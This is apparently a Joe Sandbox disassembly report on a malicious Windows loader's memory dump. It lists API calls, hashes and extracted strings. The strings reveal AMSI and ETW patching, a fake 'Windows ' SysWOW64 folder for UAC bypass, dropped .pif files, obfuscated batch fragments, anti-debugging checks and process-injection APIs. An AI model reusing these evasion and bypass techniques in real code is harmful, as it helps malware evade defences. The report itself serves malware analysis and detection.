Part of subcall function 02878798: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028C23A4,0287A3BF,ScanString,028C23A4,0287A774,ScanBuffer,028C23A4,0287A774,Initialize,028C23A4,0287A774,UacScan), ref: 028787AC
Part of subcall function 02878798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028787C6
Part of subcall function 02878798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028C23A4,0287A3BF,ScanString,028C23A4,0287A774,ScanBuffer,028C23A4,0287A774,Initialize), ref: 02878802

Part of subcall function 02878704: LoadLibraryW.KERNEL32(amsi), ref: 0287870D
Part of subcall function 02878704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 0287876C

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,028C237C,0288B40C,OpenSession,028C237C,0288B40C,ScanBuffer,028C237C,0288B40C,OpenSession,028C237C,0288B40C,0288B764), ref: 02884DEB

Part of subcall function 0287DE78: RtlInitUnicodeString.NTDLL(?,?), ref: 0287DEA0
Part of subcall function 0287DE78: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0287DEF2), ref: 0287DEB6
Part of subcall function 0287DE78: NtDeleteFile.NTDLL(?), ref: 0287DED5

MoveFileA.KERNEL32(00000000,00000000), ref: 02884FEB
MoveFileA.KERNEL32(00000000,00000000), ref: 02885041

Strings

ntdll, xrefs: 02888DAF, 02888DFF, 02888E13, 0288A187, 0288A1BA, 0288A1ED, 0288A220, 0288A253, 0288A9F4, 0288AA27, 0288AA5A, 0288AA8D, 0288AAC0, 0288AAF3, 0288AB26, 0288AB59, 0288AB8C, 0288ABBF, 0288ABF2, 0288AC25, 0288AC58, 0288AC8B, 0288ACBE
EnumProcessModules, xrefs: 0288A54D
BCryptQueryProviderRegistration, xrefs: 0287F7BD
TrustOpenStores, xrefs: 0287F4E4
EtwEventWriteEx, xrefs: 0288AC74
Initialize, xrefs: 0287F17B, 028800FD, 02880291, 0288042F, 028805D5, 0288088A, 02880F2D, 02881369, 02881813, 0288191D, 02882004, 02882336, 02882656, 0288298A, 02882B38, 02882E91, 0288324A, 028853F2, 02885787, 02885B83, 02885D48, 02885FB4, 028860F2, 028862F7, 0288726C, 02887F24, 02888F31, 02889B1C, 02889EBA, 0288A3E9, 0288A7A3, 0288ACEF
NtCreateSection, xrefs: 0288AAA9
FX.c, xrefs: 02884B2F
endpointdlp, xrefs: 02889FC3, 02889FF6, 0288A029, 0288A05C
NtOpenFile, xrefs: 0288AC41
NtWriteVirtualMemory, xrefs: 0288AC0E
SLGetGenuineInformation, xrefs: 028899CE
GET, xrefs: 02881D36
EnumServicesStatusW, xrefs: 0288A520
CryptSIPVerifyIndirectData, xrefs: 0287F6A8, 02889CDA
IconIndex=, xrefs: 02886931
NtQueryInformationThread, xrefs: 0288AA43
sys.thgiseurt, xrefs: 02884300
C:\Users\Public\alpha.pif, xrefs: 02884F6A
SLIsGenuineLocalEx, xrefs: 02889A34
HotKey=, xrefs: 02886A65
EtwEventWrite, xrefs: 0288ACA7
NEO.c, xrefs: 02884879
LdrLoadDll, xrefs: 0288ABA8
NtSetSecurityObject, xrefs: 02888DFA
C:\\Windows \\SysWOW64\\, xrefs: 02883F02, 02884316
spp, xrefs: 02889C58, 02889C8B, 0288A928
bcrypt, xrefs: 0287F7A1, 0287F7D4, 0287F807, 02889E1C
WintrustAddActionID, xrefs: 0287F517
NtOpenObjectAuditAlarm, xrefs: 02888DAA
SLLoadApplicationPolicies, xrefs: 02889A67
CreateProcessWithLogonW, xrefs: 0288A598
VirtualAlloc, xrefs: 0288A638
NtAccessCheck, xrefs: 0288AB75
psapi, xrefs: 0288A552
NtQuerySystemInformation, xrefs: 0288A4D5
URL=file:", xrefs: 028868DB
NtQuerySecurityObject, xrefs: 0288AB42
C:\Users\Public\, xrefs: 028835B7, 02885904, 02886B77
dbgcore, xrefs: 02888DD7, 02888DEB
SLGatherMigrationBlob, xrefs: 0288A977
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 02884C82
SLGetEncryptedPIDEx, xrefs: 0288A9AA
WriteVirtualMemory, xrefs: 0288A704
GZmMS1j, xrefs: 0287F0F0
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 02883ADC
NtAlertResumeThread, xrefs: 0288A170
sppwmi, xrefs: 0288A95B
http, xrefs: 02881A09
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 0288026B
MiniDumpWriteDump, xrefs: 02888DD2
NtGetWriteWatch, xrefs: 0288A9DD
OpenProcess, xrefs: 0288A6D1
Kernel32, xrefs: 0288A561, 0288A570, 0288A5AC
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 028849CC
FindCertsByIssuer, xrefs: 0287F54A
C:\\Users\\Public\\Libraries\\, xrefs: 02884F9A, 02884FF0, 02885CEB
SLGetSLIDList, xrefs: 02889A01
EnumServicesStatusA, xrefs: 0288A511
CreateProcessW, xrefs: 0288A56B
SxTracerGetThreadContextDebug, xrefs: 02889C41, 0288A911
RtlQueryProcessDebugInformation, xrefs: 0288A502
NtDeviceIoControlFile, xrefs: 0288A4E4
MiniDumpReadDumpStream, xrefs: 02888DE6
Advapi, xrefs: 0288A516, 0288A525, 0288A534, 0288A543, 0288A57F, 0288A58E, 0288A59D
lld.SLITUTEN, xrefs: 02883EEC
wintrust, xrefs: 0287F4FB, 0287F52E, 0287F561
OpenSession, xrefs: 0287F117, 0287F243, 0287FBF3, 0287FD14, 0287FE21, 0287FF39, 0288030D, 028804AB, 02880651, 02880771, 02880906, 028809FE, 02880BEB, 02880D91, 028810BF, 028812ED, 02881461, 02881584, 02881702, 02881AA8, 02881B2B, 02881C43, 02881D5B, 02881E67, 02882085, 028821A2, 02882441, 028824BD, 028826D2, 02882872, 02882BB4, 02882D6F, 02882F89, 028830A3, 028833D3, 02883872, 028839EB, 02883B6E, 02883FAB, 02884209, 02884343, 0288467F, 028848C7, 02884AA9, 02884B7D, 02884CE3, 02884E78, 028851B0, 0288534A, 028854EA, 0288568F, 02885803, 02885A53, 02885B07, 02885DC4, 02885EBC, 02886373, 0288664D, 028867C1, 02886957, 02886B07, 028871F0, 028873F5, 0288760E, 028876B1, 02887844, 02887C0C, 02887EA8, 028881A5, 028882FE, 028884A4, 02888631, 028887C5, 02888944, 02888A47, 02888BBB, 02888E39, 02889029, 0288931A, 028894A0, 028896D6, 028898DC, 02889AA0, 02889D8F, 02889E3E, 0288A07E, 0288A275, 0288A36D, 0288A81F, 0288ADE7
ScanBuffer, xrefs: 0287F2A7, 0287F5FF, 0287F829, 0287FD90, 0287FE9D, 0287FFB5, 02880389, 02880527, 028806CD, 028807ED, 02880982, 02880A7A, 02880CE3, 02880E89, 02881025, 0288113B, 028811C9, 028814DD, 0288177E, 0288188F, 02881A2C, 02881DD7, 02881EE3, 02882101, 0288221E, 02882539, 028825DA, 0288274E, 0288290E, 02882C30, 02883027, 028832C6, 02883357, 02883711, 028838F3, 02883A67, 02883BEA, 02883C66, 02883E1D, 02884027, 02884285, 028844B7, 028846FB, 02884943, 02884BF9, 02884D5F, 02884EF4, 0288522C, 02885566, 0288587F, 02885BFF, 02885F38, 028861EA, 028863EF, 02886555, 028866C9, 02886745, 028872E8, 02887379, 028877A9, 0288793C, 02887A98, 02887B90, 028880AD, 0288837A, 02888520, 028886AD, 02888841, 028889C0, 02888C37, 02888D2F, 0288914B, 02889424, 02889598, 028897CE, 02889860, 02889B98, 02889F36, 0288A465, 0288AD6B
SetUnhandledExceptionFilter, xrefs: 0288A76A
GetProcessMemoryInfo, xrefs: 02889CA7
kernel32, xrefs: 0288A64F, 0288A682, 0288A6B5, 0288A6E8, 0288A71B, 0288A74E, 0288A781
NtMapViewOfSection, xrefs: 0288AADC
DlpGetArchiveFileTraceInfo, xrefs: 0288A012
UacUninitialize, xrefs: 02883152, 0288344F, 02883547, 02883D25, 028843BF
[InternetShortcut], xrefs: 028868CC
FlushInstructionCache, xrefs: 0288A737
DlpNotifyPreDragDrop, xrefs: 02889FAC
VirtualProtect, xrefs: 0288A69E
C:\Windows\System32\, xrefs: 0287FCEB, 028874EF, 02888237
UacScan, xrefs: 0287F30B, 0287F9BA, 0287FAB2, 02880081, 02880C67, 02881245, 02881BA7, 028822BA, 028834CB, 02883695, 028837F6, 0288396F, 02883AF2, 02883CC3, 02883DA1, 02883F2F, 0288443B, 028847F8, 02884A2D, 0288570B, 02885C7B, 02885E40, 0288616E, 0288627B, 028864D9, 028865D1, 02887174, 02887516, 0288772D, 028878C0, 02887B14, 02887FA0, 02888129, 02888282, 02888428, 028885B5, 02888749, 028888C8, 02888B3F, 02888FAD, 028891C7, 028893A8, 0288951C, 02889752, 0288A5C2
WinHttp.WinHttpRequest.5.1, xrefs: 02881C1D
EnumServicesStatusExW, xrefs: 0288A53E
CreateProcessAsUserW, xrefs: 0288A589, 0288A5A7
DlpCheckIsCloudSyncApp, xrefs: 02889FDF
VirtualAllocEx, xrefs: 0288A66B
ieproxy, xrefs: 0287F3F5, 0287F41C, 0287F44C
DllGetActivationFactory, xrefs: 0287F94E
ScanString, xrefs: 0287F1DF, 0287F46E, 0287F583, 0287F714, 0287F8A5, 0287FB2E, 0287FC6F, 028801F5, 02880E0D, 02880FA9, 028813E5, 02881600, 0288167C, 02881999, 02881CBF, 02881F88, 028823C5, 028827F6, 02882A06, 02882ABC, 02882DEB, 02882F0D, 028831CE, 02883619, 02884111, 02884587, 0288477C, 02885134, 028852CE, 02885613, 028859D7, 02886076, 0288685C, 028869D3, 02886A8B, 028870F8, 02887592, 028879F9, 0288801C, 02888AC3, 02888EB5, 0288929E, 0288965A, 02889958, 02889D13, 0288A0FA, 0288A2F1, 0288A89B
tquery, xrefs: 02889C25
RetailTracerEnable, xrefs: 02889C0E
RtlCreateQueryDebugBuffer, xrefs: 0288A23C
C:\Users\Public\aken.pif, xrefs: 02884F85
NtQueryDirectoryFile, xrefs: 0288A4F3
I_QueryTagInformation, xrefs: 02888DBE
NtOpenProcess, xrefs: 02888E0E
NtOpenSection, xrefs: 0288AA76
EnumServicesStatusExA, xrefs: 0288A52F
BCryptRegisterProvider, xrefs: 0287F7F0
CryptSIPGetSignedDataMsg, xrefs: 0287F6DB
DllGetClassObject, xrefs: 0287F3E4, 0287F91B, 02889C74, 0288A944
NtQueryVirtualMemory, xrefs: 0288AA10
psapi, xrefs: 02889CBE
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 02883795
CryptSIPGetInfo, xrefs: 0287F675
advapi32, xrefs: 02888DC3
CreateProcessAsUserA, xrefs: 0288A57A
Ntdll, xrefs: 0288A4DA, 0288A4E9, 0288A4F8, 0288A507
mssip32, xrefs: 0287F68C, 0287F6BF, 0287F6F2, 02889CF1
UacInitialize, xrefs: 0287F36F, 0287FA36, 02880179, 0288418D, 02884603, 02884DFC, 028850B8, 0288546E, 0288595B, 02887471, 02888CB3, 028890CF
NtReadVirtualMemory, xrefs: 0288AB0F
.url, xrefs: 0288590F
CreateProcessA, xrefs: 0288A55C
LdrGetProcedureAddress, xrefs: 0288ABDB
BCryptVerifySignature, xrefs: 0287F78A, 02889E05
smartscreenps, xrefs: 0287F932, 0287F965, 0287F998
NtWaitForSingleObject, xrefs: 0288A1D6
sppc, xrefs: 028899E5, 02889A18, 02889A4B, 02889A7E, 0288A98E, 0288A9C1
RtlAllocateHeap, xrefs: 0288A1A3, 0288A209
GetProxyDllInfo, xrefs: 0287F40B
DlpGetWebSiteAccess, xrefs: 0288A045
DllRegisterServer, xrefs: 0287F435, 0287F981

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: File$LibraryPath$AddressModuleNameProc$FreeHandleLoadName_$AttributesCloseCreateMove$CheckDebuggerDeleteDirectoryInetInformationInitOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 2010126900-181751239
Opcode ID: 8b4aa755c9800695fc8c2b85586d3d9452123d3c827d7ca8a8e3f28f9c75e039
Instruction ID: 39b4f665dc8aea15bca867b49a3653ad2b255300c52b98bc287992e9367c6cc1
Opcode Fuzzy Hash: 8b4aa755c9800695fc8c2b85586d3d9452123d3c827d7ca8a8e3f28f9c75e039
Instruction Fuzzy Hash: FF241E3CA501589BDB21FB68DD85AEE73B6BF94314F1080E5E009E7355DE70AE868F12

Function 02865A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02860000,0288E790), ref: 02865A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02860000,0288E790), ref: 02865AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02860000,0288E790), ref: 02865AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02865AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02865B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02865B37
RegQueryValueExA.ADVAPI32(?,02865CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02865B7D,?,80000001), ref: 02865B55
RegCloseKey.ADVAPI32(?,02865B84,00000000,?,?,00000000,02865B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02865B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02865B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02865BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02865BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02865BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02865C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02865C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02865C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02865C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02865C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02865C97

Strings

Software\Borland\Locales, xrefs: 02865AA8, 02865AC6
Software\Borland\Delphi\Locales, xrefs: 02865AE4

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: a5ea2609aa057088394321dcddf548b621644350f6734a29511ef27142c14dc2
Instruction ID: 9031429d51e684f9c5a4979680c68a442585c3ad55364f5d7b247ef695713338
Opcode Fuzzy Hash: a5ea2609aa057088394321dcddf548b621644350f6734a29511ef27142c14dc2
Instruction Fuzzy Hash: 0051877DA4024D7EFB21D6A8CC4EFFF77BD9B04744F8001A1A608E6281DB789A448F65

Function 0287F024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 0287F034
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0287F046
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0287F05D

Strings

KernelBase, xrefs: 0287F02F
CheckRemoteDebuggerPresent, xrefs: 0287F040

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: cfe7ce8d5bba689a5b2acd7e6f7e6df6fa43d9012533e0ab5bdd86cc08b7b9ef
Instruction ID: 58d82c5b0f5ccbefcada9cba32a6d4e9c1ef2fdd854d487a9f2419d09a587132
Opcode Fuzzy Hash: cfe7ce8d5bba689a5b2acd7e6f7e6df6fa43d9012533e0ab5bdd86cc08b7b9ef
Instruction Fuzzy Hash: 6FF0273C904258BADB10B6A988887ECFBB85B36328F2443C0A524E22C1E3754650C661

Function 0287DFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02864ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02864EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0287E0B4), ref: 0287E01F
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0287E0B4), ref: 0287E04F
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0287E064
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0287E090
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0287E099

Part of subcall function 02864C0C: SysFreeString.OLEAUT32(0287ED84), ref: 02864C1A

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 9134bad97f68ca7e606dad2efde79d534afbfba01d85d493a156d4ef7b84f05c
Instruction ID: 87aedda085634257d6f787a85ed262fde576cdd571f9ec3a092a7da843833d5a
Opcode Fuzzy Hash: 9134bad97f68ca7e606dad2efde79d534afbfba01d85d493a156d4ef7b84f05c
Instruction Fuzzy Hash: E321C479A403087AEB11EAD8CC46FEE77BDAB48B14F500461B700F71C0D6B4AA458B56

Function 0287E72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0287E86A

Strings

ScanBuffer, xrefs: 0287E7B3
Initialize, xrefs: 0287E75A
OpenSession, xrefs: 0287E80C

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 5edc9e03163698ac8deb9eb9454e3b8882b7683cb38b09ce1cac54cb4b96acb3
Instruction ID: 1311a00ae2e53da267ea12fc6c4848b927045c0f0fe51447ac0a52fd0df257c4
Opcode Fuzzy Hash: 5edc9e03163698ac8deb9eb9454e3b8882b7683cb38b09ce1cac54cb4b96acb3
Instruction Fuzzy Hash: 67411D3DB501089FEB20EBA8D885AAEB7FAEF48710F214475E401E7351DA74ED058F12

Function 02877CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02878018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02878088,?,?,00000000,?,028779FE,ntdll,00000000,00000000,02877A43,?,?,00000000), ref: 02878056
Part of subcall function 02878018: GetModuleHandleA.KERNELBASE(?), ref: 0287806A

Part of subcall function 028780C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02878148,?,?,00000000,00000000,?,02878061,00000000,KernelBASE,00000000,00000000,02878088), ref: 0287810D
Part of subcall function 028780C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02878113
Part of subcall function 028780C0: GetProcAddress.KERNEL32(?,?), ref: 02878125

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02877D6C

Strings

Ntdll, xrefs: 02877D43
yromeMlautriVetirW, xrefs: 02877D13

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: af14f612acc642bf596cb67e6fc7694c9bf3d3f9ab72a3a471812020cc4b3bdf
Instruction ID: c6d651460302c439806822f79a976bc6af0c2b377b5901be2f103fc759ac5c3b
Opcode Fuzzy Hash: af14f612acc642bf596cb67e6fc7694c9bf3d3f9ab72a3a471812020cc4b3bdf
Instruction Fuzzy Hash: 85014C7D640208AFE710EFA8D845EAEBBEDEB8D710F614860B900D7694C674E914CF62

Function 02876D48 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02876CEC: CLSIDFromProgID.OLE32(00000000,?,00000000,02876D39,?,?,?,00000000), ref: 02876D19

CoCreateInstance.OLE32(?,00000000,00000005,02876E2C,00000000,00000000,02876DAB,?,00000000,02876E1B), ref: 02876D97

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

